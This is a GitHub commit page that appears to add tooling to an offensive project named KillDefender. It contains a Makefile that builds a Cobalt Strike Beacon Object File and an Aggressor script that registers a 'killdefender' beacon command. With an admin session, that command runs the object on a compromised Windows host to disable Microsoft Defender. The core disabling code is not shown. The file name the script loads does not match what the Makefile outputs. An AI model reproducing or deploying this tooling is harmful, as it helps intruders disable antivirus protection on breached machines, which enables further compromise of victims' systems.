Skip to content

Commit

Permalink
added some useful code
Browse files Browse the repository at this point in the history
  • Loading branch information
R authored and R committed Feb 7, 2022
1 parent 9c8f422 commit 7ed865f
Show file tree
Hide file tree
Showing 3 changed files with 64 additions and 1 deletion.
2 changes: 1 addition & 1 deletion KillDefender.h
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#pragma once

#include <windows.h>
#include <TlHelp32.h>
#include <tlhelp32.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
Expand Down
24 changes: 24 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
#
# Beacon Object File ( BOF ) Compiler
#
# Used to create object files that are
# compatible with Beacon's inline-execute
# command.
#

BOFNAME := killdefender
CC_x64 := x86_64-w64-mingw32-gcc
LD_x64 := x86_64-w64-mingw32-ld
STRx64 := x86_64-w64-mingw32-strip
CC_x86 := i686-w64-mingw32-gcc
LD_x86 := i686-w64-mingw32-ld
STRx86 := i686-w64-mingw32-strip


all:
$(CC_x64) -o $(BOFNAME).x64.o -c KillDefender.c -masm=intel -Wno-multichar
$(CC_x86) -o $(BOFNAME).x86.o -c KillDefender.c -masm=intel -Wno-multichar

clean:
rm -rf $(BOFNAME).x64.o $(BOFNAME).x86.o
rm -rf *.o
39 changes: 39 additions & 0 deletions killdefender.cna
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
beacon_command_register("killdefender", "kill defender", "Example: killdefender");

alias killdefender {
$barch = barch($1);
# read in the BOF file
$handle = openf(script_resource("killdefender" . $barch . ".o"));
$data = readb($handle, -1);
closef($handle);

# you didn't compile BOF :(
if(strlen($data) == 0)
{
berror($1, "could not read bof file");
return;
}

if ((-isadmin $1))
{
# announce what we're doing
btask($1, "Hold on to your butts! Killing Defender!");

if (-is64 $1)
{
# spawn a Beacon post-ex job with the exploit DLL
beacon_inline_execute($1, $data, "go", $null);
}
else
{
# spawn a Beacon post-ex job with the exploit DLL
beacon_inline_execute($1, $data, "go", $null);
}

} else
{
berror($1, "We require an elevated session (admin)");
}


}

0 comments on commit 7ed865f

Please sign in to comment.